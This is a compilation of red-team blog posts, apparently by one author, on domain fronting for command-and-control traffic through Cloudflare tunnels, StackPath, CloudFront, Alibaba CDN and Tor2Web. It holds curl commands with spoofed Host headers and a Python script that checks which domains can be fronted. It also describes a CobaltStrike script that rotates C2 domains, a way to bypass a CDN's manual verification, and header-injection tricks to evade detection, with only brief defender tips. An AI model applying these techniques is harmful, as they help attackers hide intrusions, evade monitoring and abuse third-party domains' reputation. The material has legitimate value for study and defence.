https://landing-racial-reviewing-kathy.trycloudflare.com
https://measuring-baby-thumbnails-solomon.trycloudflare.com
https://mhz-right-quickly-pharmaceutical.trycloudflare.com
https://measure-any-desperate-gourmet.trycloudflare.com
https://muslims-formation-produce-assumptions.trycloudflare.com
https://nicole-history-error-characterization.trycloudflare.com
https://partial-wma-singing-training.trycloudflare.com
https://nationwide-taking-knew-desktops.trycloudflare.com
https://photographic-faster-powerful-compatibility.trycloudflare.com
https://portsmouth-blonde-jam-flight.trycloudflare.com
https://portion-warranties-faith-somehow.trycloudflare.com
https://pick-rob-tomatoes-bl.trycloudflare.com
https://pulling-frank-instance-risk.trycloudflare.com
https://possible-earlier-lauren-alexander.trycloudflare.com
https://rec-carroll-publication-milton.trycloudflare.com
https://procedure-sheffield-yr-resulted.trycloudflare.com
https://reaching-cycling-items-agricultural.trycloudflare.com
https://related-annotated-realized-earlier.trycloudflare.com
https://sally-requesting-heating-independent.trycloudflare.com
https://replacement-her-lexmark-baghdad.trycloudflare.com
https://producer-sm-sec-un.trycloudflare.com
https://shops-charm-whom-roland.trycloudflare.com
https://slope-carroll-shaved-cruise.trycloudflare.com
https://sand-catherine-gc-digital.trycloudflare.com
https://terrorists-gauge-forgotten-impressive.trycloudflare.com
https://seasonal-races-explicitly-athletic.trycloudflare.com
https://unsubscribe-obtained-level-free.trycloudflare.com
https://warming-beverly-opportunity-seafood.trycloudflare.com
https://wow-phone-method-cuisine.trycloudflare.com
```

A quick check shows that they're Frontable:

```
curl https://slope-carroll-shaved-cruise.trycloudflare.com --header "Host: basis-continually-variables-trips.trycloudflare.com" --user-agent "NeverGon..."
```

![](/files/-Mg_agulHABEVIcAT5kr)

## Extra added anonimity?

Technically you could hide the IP address from Cloudflare if you run a VPN on the Docker host/container, then run Cloudflared afterward. But hey, we're Red Teamers, so maybe that's going too far for a bit of extra unneeded anonymity.

## Conclusions

Give Cloudflare tunnels a try, it can be useful for some projects and engagements if you need quick SSL deployed webpages.

Even if not, it's a good free way to punch through NAT.

Blue team? Maybe just block `*.trycloudflare.com`


# Domain Fronting using StackPath CDN

A guide to setting up domain fronting, and exploring additional quirks that StackPath can provide.

## Introduction

[StackPath CDN](https://stackpath.com) is a Content Delivery Network similar to what CloudFront by Amazon Web Services, and Azure CDN, and Google's CDN provide. It allows organisations to set up a way to better optimise traffic being requested from different countries across the globe. Where possible, the CDN will attempt to serve cached resources to speed up the transaction.

Domain Fronting is a technique that's been explored over the past couple of years, more so by offensive security experts, and in some cases even used by Advanced Persistent Threat actors. This technique is generally abused through flaws in the design of the Content Delivery Network to provide a method of redirecting malicious traffic within a HTTPS encapsulated tunnel through a legitimate website to a final malicious endpoint.

To learn more about Domain Fronting,  check out some of my other posts such as <https://vincentyiu.co.uk/red-team/domain-fronting/domain-fronting-via.-cloudfront-alternate-domains>, <https://vincentyiu.co.uk/red-team/domain-fronting/domain-fronting-who-am-i>, and <https://vincentyiu.co.uk/red-team/domain-fronting/alibaba-cdn-domain-fronting>.

### StackPath CDN

StackPath CDN offers a generous 1 month free trial. However, as StackPath CDN's market share is extremely low compared to the likes of CloudFront, the number of domains that can be used to masquerade traffic is therefore reduced. That said, there are still interesting domains, and quirks that can be beneficial to the operator when utilising StackPath as a choice for Domain Fronting.

### Setting up StackPath CDN

When setting up StackPath CDN, you will be asked to enter a new **delivery domain**. This will be the final endpoint that you would like to have data served through the CDN. For example, **mymalicious.domain.com**.

![Initial creation of CDN Host on StackPath](/files/-LcHL0t2GYUPk4yDfAoM)

The rest of the options are pretty self explanatory but after the CDN host is provisioned, visit the **settings** section of the instance to allow for further fine tuning. See below.

![Click on the domain name to access the settings for that domain](/files/-LcHLNVXRklpn8UF0O5S)

You will then be led to the following page after clicking on the **settings** tab.

![](/files/-LcHVDBWkjQNcblqxiDZ)

The settings tab is fantastic but we want to scroll down to the **cache handling** options and apply the settings as shown below to remove caching.

![](/files/-LcHLqXZmRhQx6o4sJ5a)

Caching should be removed because it is bad for command and control as we may find it difficult to control the response at a dynamic pace.

To test that the CDN is working, visit the StackPath URL defined by the service such as **\<randomuid>.stackpathcdn.com**. If the page loads, we know the CDN is working.

We can try to perform a Domain Fronting attempt by issuing a HTTPS request to a legitimate StackPath domain, but with a host header of **\<randomuid>.stackpathcdn.com.** See below.

```
curl https://www.zonenetworks.com.au --user-agent "Mozilla" --header "Host: <randomuid>.stackpathcdn.com"
```

If the response shows the content of your CDN as opposed to the website you are sending the request to, then we know that Domain Fronting works through that domain. I have published a StackPath CDN list of frontable Domains on my GitHub at <https://www.github.com/vysecurity/DomainFrontingLists> as usual.

### Arbitrary Host Headers

Back in the post located at <https://vincentyiu.co.uk/red-team/domain-fronting/domain-fronting-who-am-i>, I mentioned that you could utilise arbitrary Host headers that were not even valid domain names by setting it as a CNAME record. Amazon has since **fixed** this issue.

An arbitrary host header is a lot more difficult to determine as malicious compared a threat hunter who may be performing TLS inspection on web requests and searches for \*.stackpathcdn.com in the Host header.

In StackPath we can perform the same type of technique by navigating to the bottom of the settings page and adding it as an additional domain alias as shown below.

![](/files/-LcHNXZXg3Q3v-jeFZfN)

Above we have used the **delivery domain** of **smellyfish.fish -** but what does this mean?

This essentially means that we can now issue a request and perform Domain Fronting without a Host header of **\*.stackpathcdn.com**, and instead have **smellyfish.fish**.

We can test that the Domain Front works by utilising the following command:

```
curl https://www.zonenetworks.com.au --user-agent "Mozilla" --header "Host: smellyfish.fish"
```

If the request responds with the content of your C2 endpoint, then we know that the technique is a success.


# HAMMERTHROW: Rotate my domain

HAMMERTHROW is an aggressor script for CobaltStrike that rotates your command and control domains automatically.

![](/files/-LWbJZHc1upVVPDzUkZq)

## Introduction

HAMMERTHROW is an aggressor script for CobaltStrike. It runs as an agent in the background by connecting to the teamserver and controls the listener. HAMMERTHROW accepts a defined list of domain names, that will then be randomly selected and used as the stager name, and beacon domain names. HAMMERTHROW automatically modifies the listener on a regular basis - creating an effect whereby newly spawned beacons utilize new domains.

What this meant was that when moving laterally, an operator could utilize new domains without the significant overhead of creating a new teamserver, or constantly manually modifying the listener.

CobaltStrike has always let us use the beacon domains in a round robin fashion. If a domain could not beacon out, it would move onto the next and eventually at least one domain would beacon out successfully. HAMMERTHROW is not supposed to replicate this. HAMMERTHROW is aimed to ensure that automatic randomization of the domain names is performed so that the operator can focus on the operation and create an additional layer of difficulty for the blue team to block the communications channels.

## HAMMERTHROW Domain Fronting

I created HAMMERTHROW because I was researching domain fronting a lot for command and control usage. Of course, we all have our favorite domains to use for each CDN provider. However, now we can just put in a large list of 1000 domains, and it will randomly select a new set of domains for configuration every 10 seconds!

There are a few variables in the script that I have added, and I will explain them here briefly.

```
$quiet        Set to True to keep the event log quiet
@domains    Put in a large list of domains
$num        How many domains would you like to use for each spin?
```

Of course, the number of domains in your array must be bigger than the amount you choose in $num. This is because if you only have 3 domains and you want to use 5, it's sort of impossible right?

You can also change up the period between domain changes by modifying the `on heartbeat_10s` event handler. You can set it to any of the following (<https://www.cobaltstrike.com/aggressor-script/events.html>):

* `heartbeat_10m` Fired every ten minutes
* `heartbeat_10s` Fired every ten seconds
* `heartbeat_15m` Fired every fifteen minutes
* `heartbeat_15s` Fired every fifteen seconds
* `heartbeat_1m` Fired every minute
* `heartbeat_1s` Fired every second
* `heartbeat_20m` Fired every twenty minutes
* `heartbeat_30m` Fired every thirty minutes
* `heartbeat_30s` Fired every thirty seconds
* `heartbeat_5m` Fired every five minutes
* `heartbeat_5s` Fired every five seconds
* `heartbeat_60m` Fired every sixty minutes

### Summary of items to change

1. $quiet
2. @domains
3. $num
4. heartbeat period

### Running HAMMERTHROW

After you've edited the script `HAMMERTHROW.cna`, you can proceed to running it. I usually stick it on the teamserver instead of running it on the operator machine for various reasons.

1. If it's ran on multiple operator machines, there's conflict.
2. If it's ran on the operator machine, it can lag the operator's client.

To run the script with the agent client on the teamserver type:

```
./agscript 127.0.0.1 50050 HAMMERTHROW <password> HAMMERTHROW.cna
```

The script will then proceed to connect to the teamserver, and you will see a notification in the event log as shown below:

![HAMMERTHROW loading](/files/-LWbK7W6Cg30CRNPy516)

You will proceed to see the domains being rotated on a periodic basis as shown below:

![Event log records for domain shuffling](/files/-LWbKKSg7guVF97g7Pm_)

I like to keep the log as I can see exactly at what time it rotated and what beacons I was spawning or using at that moment in time.

Any newly spawned beacons, or payloads that require staging, will utilize the randomized beacon list that was present at the time of it staging. Stageless beacons will remain static and use the domains set at the time of generation.

### On the wire, let's check it out!

*I've got a video, check it out at* [*https://youtu.be/LJbMy\_13b7E*](https://youtu.be/LJbMy_13b7E) *if you're interested instead of reading.*

Boot up Wireshark and have a beacon running on the server. Spawn beacons while it's running.

Set up the following filter in Wireshark so that you can see clearly what's happening:

![Wireshark Filter for SSL Client Hello](/files/-LWbMEZJ2OHHpl8_yO45)

You can also set up a new column in Wireshark to show the Server Name under Server Name Indication (SNI).

![Server Name display as a column in Wireshark under Server Name Indication (SNI)](/files/-LWbMja8W7nbPYS9QpfK)

As you spawn more beacons, you can see that an entirely new set of domains are being used for new beacons. You'll also notice that the existing beacons can still communicate back because the infrastructure is still technically pointing to your server.

## Other uses

If you own a large number of domains, or subdomains, let's say thousands, then you can hook them up to thousands of cloud instances that can be used as redirectors. Then those redirectors all point to the same origin, your teamserver. What you could do is use HAMMERTHROW to automatically rotate randomly through those thousands of domains to distribute the domain usage for C2.

## Download Link

Github: <https://github.com/vysecurity/Aggressor-VYSEC/blob/master/HAMMERTHROW.cna>

## Defenders

Previously if you were a defender who would discover domains and try to block them one at a time, it'll prove difficult to block. Instead, try to perform TLS inspection and look for C2 traffic patterns to determine domains in mass.


# Domain Fronting via. CloudFront Alternate Domains

*Note: posted on February 2017*

*This post was originally published on* [*https://www.mdsec.co.uk/blog/*](https://www.mdsec.co.uk/blog/) *when I was under employment of MDSec Consulting Limited in the United Kingdom. This is mirrored on my own blog for archiving reasons.*

![](/files/-LP9a9occQQlS4860flF)

### These are not the domains you are looking for… <a href="#thesearenotthedomainsyouarelookingfor" id="thesearenotthedomainsyouarelookingfor"></a>

A technique known as Domain Fronting was recently documented for circumventing censorship restrictions by [Open Whisper Systems](https://whispersystems.org/blog/doodles-stickers-censorship/). The benefits of this technique for use in adversary simulations was recognised by several people, including [Optiv](https://www.optiv.com/blog/escape-and-evasion-egressing-restricted-networks) and [Raphael Mudge](https://www.youtube.com/watch?v=IKO1ovl7Ky4). If you are not familiar with this concept, these resources are recommended reading. However to summarise, the TLDR is many services and in particular CDN services, can act as redirectors for a c2 channel. The benefit of this is it provides a reputable domain for egress and can therefore be used to circumvent proxy categorisation and other network based monitoring.

In Raphael’s video, he describes how a trusted domain such as *a0.awsstatic.com* can be used for egress by specifying a *Host* header that points to an attacker controlled Cloudfront instance within the Malleable c2 profile. Our research expands on this idea to identify additional high reputation domains that can be used for egress.

Amazon customers who do not want to use a generic cloudfront.net domain are able to use an “alternate domain” by simply configuring the appropriate CNAME record to point to their Cloudfront instance. This process is described by Amazon [here](http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/CNAMEs.html), as shown below:

![](/files/-LP9aCWeqHqdKRbFr5gl)

As such, any domain with a CNAME record pointing to the Cloudfront CDN can be used as an egress channel. Identifying these domains is relatively trivial, many can be located through Google dorks such as “\*CNAME *.cloudfront.net*”, or using DNS bruteforcing. One of the Google dork results returns *cdn.bitnami.com* as a possible CNAME. We can trivially confirm that the CNAME is set as shown below:

![](/files/-LP9aEb3WH3sjchzg-FW)

To validate that it’s possible to use cdn.bitnami.com as an egress domain, we can try and retrieve the “foo.txt” file that’s hosted on our c2 server and pointed to by our Cloudfront instance:

![](/files/-LP9aH4cuC-OUWPjh0uY)

We identified many high reputation domains that can be used for fronting, including *cdn.az.gov, media.tumblr.com, images.instagram.com, cdn.zendesk.com and*cdn.atlassian.com to name but a few.

The short video below demonstrates this further, showing how they can be used within Cobalt Strike beacons.

{% embed url="<https://youtu.be/zSBnM2HcRTw>" %}

This blog post was written by [@vysecurity](https://twitter.com/vysecurity).

### UPDATED 08/02/2017: <a href="#updated08022017" id="updated08022017"></a>

Raphael Mudge pointed in in his [blog post](https://blog.cobaltstrike.com/2017/02/06/high-reputation-redirectors-and-domain-fronting/) that an RFC 2616 compliant proxy will rewrite the *Host* header making it impossible to do domain fronting over HTTP or where SSL/TLS interception is taking place.

However, having performed further research we noted that RFC compliance is not always consistently applied. The following video demonstrates how the Sophos Web Security gateway does not rewrite the *Host* header and can therefore be used for domain fronting. It also demonstrates why fronting a variety of high reputation domains can be a powerful technique for evading proxy categorisation:

{% embed url="<https://youtu.be/0imkl8K4gvY>" %}


# Validated CloudFront SSL Domains

You may have heard of Domain Fronting, and some of the work that I’ve previously done. <https://vincentyiu.co.uk/domain-fronting-via-cloudfront-alternate-domains/>

Then <https://www.peew.pw/blog/2018/2/22/how-i-identified-93k-domain-frontable-cloudfront-domains> came along and showed us how to find 93k frontable CloudFront domains. I mentioned to him that not all are validated as they can have invalid certificates.

The benefit of using Domain Fronting is that as far as the victim’s side proxy is concerned, you are making the SSL exchange with the legitimate server you are using as a front. Fantastic.

I’ve kept this private for a long time now, and since someone else has already shown us how to find these domains, I’ve decided to release my list that has been false positive checked with all of the invalid SSL certificate domains removed.

The following script was used to check for SSL issues and that the domain front was infact working:

```
    import ssl, socket, requests, urllib2, sys
    hostname = sys.argv[1]

    bValid = False
    bFrontSSL = False

    try:
     ctx = ssl.create_default_context()
     s = ctx.wrap_socket(socket.socket(), server_hostname=hostname)
     s.connect((hostname, 443))
     cert = s.getpeercert()

    subject = dict(x[0] for x in cert['subject'])
     issued_to = subject['commonName']
     issuer = dict(x[0] for x in cert['issuer'])
     issued_by = issuer['commonName']
     
     bValid = True
    except:
     bValid = False

    #print bValid

    try:
     txheaders = {"User-Agent":"Mozilla/5.0 (Android 4.4; Mobile; rv:41.0) Gecko/41.0 Firefox/41.0", "Host": "yourinstance.cloudfront.net"}

    url = "https://%s/rare.txt" % sys.argv[1]
     request = urllib2.Request(url, headers=txheaders)
     response = urllib2.urlopen(request).read()
     if "ABC123" in response:
      bFrontSSL = True
     else:
      bFrontSSL = False
    except:
     bFrontSSL = False

    if bFrontSSL:
     print "[!] SSL Front: %s" % sys.argv[1]
```

After hosting rare.txt on my CloudFront instance, using the above script, all I had to do was perform the following parallel command to ensure swift checking:

```
cat fronts.txt | parallel -j 32 "python sslfront.py {} | tee -a output.txt"
```

Soon, output.txt would be filled with legitimate fronts that would have valid certificates that would be used to encrypt our traffic.

[**vysecurity/DomainFrontingLists**](https://github.com/vysecurity/DomainFrontingLists) - A list of Domain Frontable Domains by CDN

There wasn’t much point in keeping this private any longer as the same domains were already out there.


# Domain Fronting: Who Am I?

TLDR; Set whatever Host header you want in your Domain Fronting packet when you use CloudFront

*Note: It’s 1:31 am, I do my independent research to contribute to the community in my evenings. So give me a break if it all sounds like I’m talking to myself. Take what you will and enjoy.*

Quick blogpost tonight, after having a play around with [Alibaba in my post here](https://vincentyiu.co.uk/alibaba-cdn-domain-fronting/). It received pretty good feedback from the community. I learned a whole lot, I’m sure the threat replication experts and incident responders have learned something new too.

Understanding the core of how HTTP routing works, and how the Content Delivery Network system is just a hack on top of a protocol that already exists in order to allow for seamless acceleration of content distribution.

Let’s have a quick look at a HTTP packet:

```
GET / HTTP/1.1
Host: domain.com
```

This packet arrives at a target host, the host parses the Host header and performs virtual hosting to route to the right application and know what to show. If we take a content delivery network and place it in front, for example where CloudFront give us xxxxxxxx.cloudfront.net as a instance name, and it connects to the domain.com origin. Great, CloudFront knows how to fetch domain.com, because that’s what the host header will be after you perform the DNS request to find out what server to connect to. However, how does CloudFront know what content you want? and more importantly, from what instance?

When we fetch content through the CDN, we issue the following request:

```
GET / HTTP/1.1
Host: xxxxxxxx.cloudfront.net
```

Great, we resolve this, it gives us a CloudFront edge node belonging to Amazon. We tell it we want xxxxxxxx.cloudfront.net, so it goes ahead and finds out what CDN instance ID xxxxxxxx.cloudfront.net belongs to. Let’s call this ID: 123. Now, 123 is configured to do the previous GET request to domain.com. So you might be thinking, what if my company wants to use cdn.domain.com?

Now think about it, if you set cdn.domain.com CNAME xxxxxxxx.cloudfront.net, it shouldn’t work right? Your browser is looking for cdn.domain.com, but the DNS record points you at a Amazon edge node. The Amazon edge node doesn’t know how to translate cdn.domain.com to ID 123 to know where to fetch the origin.

![](/files/-LQ3UWeVCPk9ZlcRr2UD)

If we go back to Amazon’s guidelines for setting up the CNAMEs, it actually does say that you should mention it in the set-up or in the configuration.

![](/files/-LQ3UY3ixSpy7Dh_kOnp)

Great, so that’s where we stick the CNAME. So that Amazon knows that rainbowcloud.rainbows should find ID 123 to then be able to fetch origin domain.com. Great.

What? Rainbowcloud.rainbows? :)

### No CNAME domain verification <a href="#nocnamedomainverification" id="nocnamedomainverification"></a>

Amazon has no CNAME domain verification, you don’t have to own the domain to be able to allocate the CNAME. This was already reported by many bug bounty hunters, and it’s not been acknowledged as an issue. Therefore, this is definitely a FEATURE!

![](/files/-LQ3UZBUhoqH2dxLcjki)

Time to set them host headers!

![](/files/-LQ3UaxXtctVk_-sihCJ)

It could be a pretty cool way to put off the blue team, who are looking for cloudfront.net or appspot.com for example. It can also add an extra layer of confusion during an attack simulation. You can set your host header to a government domain, set it to a financial domain that doesn’t even use CloudFront, or anything you want. This can put them off in terms of attribution, or even make them:

![](/files/-LQ3UcVGofNS3QFI-5BJ)

### Take away points <a href="#takeawaypoints" id="takeawaypoints"></a>

#### Red <a href="#red" id="red"></a>

Change host headers, don’t want them to fingerprint off cloudfront.net, appspot.com, etc. This was never the way to detect domain fronting, so break that patch and show them why :)

You have a new toy to play with, for a little while.

#### Blue <a href="#blue" id="blue"></a>

Monitor all host header to domain requested discrepancies.

#### Amazon <a href="#amazon" id="amazon"></a>

This isn’t really an issue. It’s been reported before by bug bounty hunters and not acknowledged as a cyber security issue.


# Host Header Manipulation

TLDR; Host header obfuscation

When attacking a target, you never know what sort of rules the blue team has in place to detect you. With a rise in Domain Fronting, which meant that more people were manipuating host headers, I decided to look a bit more into what you can do with a host header!

## You can change the header <a href="#youcanchangetheheader" id="youcanchangetheheader"></a>

Everyone knows you can modify the host header. As long as the CDN can parse the host header, we can use the CDN to route our traffic to a chosen endpoint. What we haven't really spoke about in the public domain is the format in which we can place the host header, and still make it route to the endpoint. In this blog post I'm going to highlight some basic ideas for you to add to your Domain Fronting skill-set and allow you to potentially cause some extra havoc to the Blue Team who's analysing your traffic.

## The Test Environment <a href="#thetestenvironment" id="thetestenvironment"></a>

Here I'm using Google App Engine and CloudFront. There's many more CDNs out there such as [Alibaba](https://vincentyiu.co.uk/alibaba-cdn-domain-fronting/), so there's much more research to be done. I'm not going to go into exact specifics and what techniques work on which environment, that's for the user to find out.

## Arbitrary Naming <a href="#arbitrarynaming" id="arbitrarynaming"></a>

I've already covered this before in previous posts, but you can essentially use arbitrary CNAMEs to refer to your instance. As seen [here](https://vincentyiu.co.uk/alibaba-cdn-domain-fronting/) and [here](https://vincentyiu.co.uk/domain-fronting-who-am-i/) Try converting:

```
Host: abcdefghijk.cloudfront.net
```

to:

```
Host: nice.try.but.no
```

![](/files/-LP7OfKzcYHwJgsFg5xr)

## Spaces <a href="#spaces" id="spaces"></a>

We all love white space, don't we? Try converting:

```
Host: nice.try.but.no
```

to:

```
Host:               nice.try.but.no
```

![](/files/-LP7OiZm6dkvvcvXaBi2)

or even removing the space `Host:nice.try.but.no`:

![](/files/-LP7OlX7o9pNmYyDIjnd)

Heck, even stuff like `%1c` and `%1f` that decodes to some control character, works!

![](/files/-LP7OoaRMILx5e8KQY54)

Why not stick an up arrow in?

![](/files/-LP7OrK7BFXaHSeVvLom)

Combine it together and you got a bit of:

![](/files/-LP7OtHTzStFnL-JN_Tq)

## Dots <a href="#dots" id="dots"></a>

Some Content Delivery Networks will let you use `Host: nice.try.but.no................`and it will still work!<br>

![](/files/-LP7OwpCSJnqdO-Ov-rB)

## New Lines <a href="#newlines" id="newlines"></a>

Good old header injection works in some Content Delivery Networks! Check out the following request and response! Just stick a %0d at the end of the header.\
Request:

![](/files/-LP7P5M5NjLpOUIlbwj8)

Response:

![](/files/-LP7P95TwLhqGnAiu8nZ)

## Combining it all together <a href="#combiningitalltogether" id="combiningitalltogether"></a>

![](/files/-LP7PFT5eqxC5xhSUFb2)

## Conclusion <a href="#conclusion" id="conclusion"></a>

You can inject a ton of characters, including new lines at the front and end of the Host header to add additional complexity for the Blue Team to be able to detect domain fronting even when doing TLS interception if there's no host header re-write.


# Finding Target-relevant Domain Fronts

My last blog post on finding high-value target domains that could be used for domain fronting was quite popular — found here.

Although there are a few popular domains that everyone uses, I’ve also published quite a large list on GitHub for public consumption and defenders to watch for. This can be found [here](https://github.com/vysec/DomainFrontingLists).

As time went on, I found that there was a need for target relevant domains, which may not be necessarily readily available in my previously discovered list. I came up with a quick way to find such domains with example traffic which could then be used to camouflage our traffic. Additionally, I’ve had a lot of people in the community contact me asking how I find the domain names. And yes, previously it was by scanning [Alexa Top 1 million](http://s3.amazonaws.com/alexa-static/top-1m.csv.zip) for CNAME records to Cloudfront.

![](/files/-LQ3UIeQDAk6n2O19qlD)

PortSwigger’s Burp Suite is a popular, widely known and used [tool](https://portswigger.net/burp). In this post I will make use of this tool to easily extract a list of CloudFront domains.

Configure a web browser as you normally would and begin browsing the internet. The first idea would be to browse your target organisation or affiliate’s websites— this generates a lot of traffic. Next I would go onto Google and begin searching for terms that may be related to the industry that particular target is in. In order to filter the large number of domains accessed quickly to possible domains, set a filter in the Target tab for “(CloudFront)”.

For example, if it was a company in the automotive manufacturing industry I could search for terms like “sports car”, I find links to websites such as Masersati.com which uses scripts.sophus3.com which is a CloudFront domain to serve scripts. See following.

![](/files/-LQ3UKAxM9JnFFEMZFn0)

Changing up the Host to another known CloudFront domain such as beacon.uber.com, we retrieve a different set of content and know that the domain front was successful. Following screenshot shows the content retrieval through the scripts.sophus3.com domain.

![](/files/-LQ3ULfeszEOUenGKYRv)

At this point, we have found a domain, related to cars, used by Maserati in it’s content delivery. The domain is on CloudFront, and we can use this to craft traffic for command and control channels based around this data.

Reviewing the original data, we can see that it fetches a script, c2 content can be sent through as a GET parameter or Referer and responses can easily be modified within the script body as a comment.

More examples such as domains that would blend in a lot better in a large organisation are displayed below:

![](/files/-LQ3UNHX2CKrPBXCmdeq)

![](/files/-LQ3UOI5IlabX46vfwX1)

![](/files/-LQ3UPaJio42NN7T0FeR)


# Alibaba CDN Domain Fronting

Author: @vysecurity

It’s been a while since Domain Fronting has been out, we’ve been discussing the idea of using various CDNs such as Azure, Google App Engine, and Amazon CloudFront for domain fronting. That’s all become a reality now, as attackers move to better command and control obfuscation and masquerading as legitimate traffic. I published a post last year on Domain Fronting and using [high reputation domains](https://vincentyiu.co.uk/alibaba-cdn-domain-fronting/) to hide your traffic. Since then, there’s been many new [posts on using GAE,](https://www.cyberark.com/threat-research-blog/red-team-insights-https-domain-fronting-google-hosts-using-cobalt-strike/) and [Azure](https://theobsidiantower.com/2017/07/24/d0a7cfceedc42bdf3a36f2926bd52863ef28befc.html). From there, I even [published a large list of potential](https://github.com/vysec/DomainFrontingLists), as well as validated domains that can be used for fronting. I even went through all the CloudFront domains to reduce it to a list of about 55,000 domains that would [serve legitimate SSL certificates](https://github.com/vysec/DomainFrontingLists/blob/master/CloudFront-SSL.txt). With that not being enough, I published a further post on finding targeted CloudFront instances that may be [relevant to your target](https://vincentyiu.co.uk/finding-target-relevant-domain-fronts/).

It’s been a great year for domain fronting. For some red team veterans, there’s been a concern that the proxy SSL interception and host header re-write can break the C2 channel. That’s fine, we have other techniques for that coming out later on in the year.

TDLR: Going to show you how to Front through an Asian cloud provider network and show you a few new advantages.

**If you prefer videos:**

{% embed url="<https://youtu.be/01XwImjQYZs>" %}

### Alibaba Cloud and Content Delivery Network <a href="#alibabacloudandcontentdeliverynetwork" id="alibabacloudandcontentdeliverynetwork"></a>

In this post we’re going to go into using Alibaba’s CDN for Domain Fronting. You might have been Alibaba’s advertisements at PyeongChang 2018. Alibaba’s cloud is more predominantly used in Asia, or more specifically mainland China. Therefore, not as many targets or relevant domains will be found for Asia using CloudFront for example, they’re more likely to be using Alibaba’s CDN.

This post will go into how to bypass the manual verification checks. Yes, unlike Amazon, GAE, or Azure, there is actually human performed manual verification checks to ensure that the origin you are delivering content for is legitimate and follows the terms of service.

This post also indicates how to better hide your Host header in your traffic using Alibaba’s cloud. Yes, unlike CloudFront, the xxxxxxxxxxxx.cloudfront.com is highly signaturable and identifiable by blue team. Similary xxxxxxxxx.appspot.com for GAE.

### Setting up a CDN instance in Alibaba Cloud <a href="#settingupacdninstanceinalibabacloud" id="settingupacdninstanceinalibabacloud"></a>

Set up the CDN instance with the following settings. We’ll go into why we need certain settings in the following sections of the post. For now, ensure that “Full-site” is checked as there’s issues domain fronting for a C2 channel with any of the other options. Set to use Port 443 if you want SSL, of Port 80 if you want HTTP. Whatever you set here is important as you can’t use both in Alibaba CDN. For the purposes for most of our readers, I’d suggest using Overseas. If you want a CDN instance in Mainland China you have to go through registration with the government and all that good regulation jazz.

![](/files/-LQ3U5JZs-CfNF7iwJ2h)

### Manual verification check: Technique 1 <a href="#manualverificationchecktechnique1" id="manualverificationchecktechnique1"></a>

This is probably the more tedious method. Host legitimate content on the origin. You can clone a website by simply using wget -mk [https://url.com](https://url.com/) and serve that content. After the manual verification has been completed in two days, you can go ahead and change the content.

### Manual verification check bypass: Technique 2 <a href="#manualverificationcheckbypasstechnique2" id="manualverificationcheckbypasstechnique2"></a>

Use Alibaba’s own cloud resources such as Elastic Compute Service (their version of EC2), to get an Alibaba IP address. If you set the CDN origin to an Alibaba IP address, the verification check is instant and you don’t have to wait!

Great, we can just create a 500MB RAM redirector to grab an Alibaba IP address for $5 a month. Then create the CDN instance as shown below:

![](/files/-LQ3U7-P45Ky0AvsRdMx)

With this, it bypasses the manual verification checks and enables the resource instantly.

### Host header magic, less signatures by the proxy <a href="#hostheadermagiclesssignaturesbytheproxy" id="hostheadermagiclesssignaturesbytheproxy"></a>

Another thing that I noticed was that there’s no verification checks in the automated mode as long as you’re using Alibaba’s IP address for the origin. Therefore it was possible for me to use a domain name such as headless.microsoft.com for my Host header. I knew that this was possible due to my understanding of CDN and how it all works. It just so happens that this method of provisioning instances on Alibaba Cloud is flawed.

![](/files/-LQ3U8f0cpFkUg70zuRU)

### Setting up your Malleable profile and C2 <a href="#settingupyourmalleableprofileandc2" id="settingupyourmalleableprofileandc2"></a>

Go ahead and hook up the redirector to your C2 server. The malleable profile should have a host header set to the domain name that you specified as shown below:

![](/files/-LQ3U9rl5hPq_r8SHo97)

In the listener, set up the domain name to use a domain that you know is Frontable. I’ve found a5kj.com which shows the following result in a CNAME lookup:

![](/files/-LQ3UB7NMxbIfaQVKe5q)

We can see that it’s a frontable domain by the iconic “kunlungr.com” which belongs to Alibaba’s CDN.

To set up the listener, we can apply the following settings:

![](/files/-LQ3UCJ_gDoGhuPBfvb8)

![](/files/-LQ3UDSSIBUxka6fg_VS)

Once this is set up, roll your payloads as usual. And you will find that you can front through Alibaba’s cloud. If you inspect the host header, you will see that it says the arbitrary domain name that you specified. This means that you’re no longer stuck with host headers for “cloudfront.com” or “appspot.com” for example.

### Conclusions <a href="#conclusions" id="conclusions"></a>

I brought up the idea of using Alibaba’s cloud for Domain Fronting since the whole technique started to get weaponised for offensive operation purposes. I’ve not yet seen anyone publish content on how to use Alibaba’s cloud effectively for Fronting. This is the first post, and I hope that it can inspire more security researchers to break out of the shell in one ecosystem to try and utilise weaponisable resources world-wide. You will see what I mean by this with my later posts.


# TOR Fronting — Utilising Hidden Services to Hide Attack Infrastructure

*Note: this was posted in February 2017*

*This post was originally published on* [*https://www.mdsec.co.uk/blog/*](https://www.mdsec.co.uk/blog/) *when I was under employment of MDSec Consulting Limited in the United Kingdom. This is mirrored on my own blog for archiving reasons.*

![](/files/-LQ3Sj6hwZcB0JdX-VYu)

Tor, also known as The Onion Router as well as the Dark Web is a network that is aimed to conceal its users’ identity and their online activity from surveillance and traffic analysis. Tor makes it possible for users to hide their locations while offering various kinds of services, such as web publishing. Tor hidden services are also known as .onion sites and often contain a variety of interesting content. In this post we are not interested in the Tor network and what resides on it but instead we want to make use of this infrastructure and freely available technology to hide the origin of our C2 infrastructure.

Prior work in this space includes [Josh Pitt’s guide](https://secureallthethings.blogspot.co.uk/2016/11/use-tor-use-empire.html) to using Empire over the Tor network This post details the necessary requirements for developing a Malleable profile for Cobalt Strike that uses the Tor network as a C2 channel.

The onion.cab website provides a Tor2Web gateway which can be used to access the Tor network:

![](/files/-LQ3Skf_YIoEgBGIPytN)

Upon clicking on the “I know what I’m doing” button, a cookie is set named *onion\_cab\_iKnowShit* with a value of *0130b15fefbb6eb4e5d3764a8ff4d74f*. This hash value changes periodically and is used to re-verify the user. MDSec were unable to test whether or not this cookie expires while a session is active.

During the investigation, it was found that the onion.cab domain could be used as a front — hiding the hidden service address (onion URL) from DNS queries. For more information on domain fronting, refer to the original post [here](https://blog.vincentyiu.co.uk/domain-fronting-via-cloudfront-alternate-domains/). Such a deployment can be logically represented as follows:

![](/files/-LQ3SmZugcxdxFA8UbtS)

The thick blue arrows indicate that the data is being transferred over TLS and the yellow arrow indicates that the traffic is over cleartext HTTP. Therefore, we can see that the victim machine must initiate a HTTPS call out to the onion.cab proxy and the proxy then initiates a HTTP call out to our attacker infrastructure.\
